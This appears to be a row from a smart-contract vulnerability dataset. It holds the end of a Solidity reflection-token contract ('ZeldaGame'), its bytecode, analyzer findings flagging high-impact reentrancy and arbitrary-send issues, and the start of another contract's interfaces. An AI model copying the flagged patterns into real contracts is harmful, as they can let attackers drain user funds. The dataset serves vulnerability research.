uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f5a656c646147616d650000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5a656c646147616d650000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220273d0b5d3ba13c7bf577749ac5f2daa2fac45b423e31131c432aadb829e9660d64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,196 |
0xB1a379f31374e80EEbF701d6a96dF5B716E2C246
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract IDFSRegistry {
function getAddr(bytes32 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
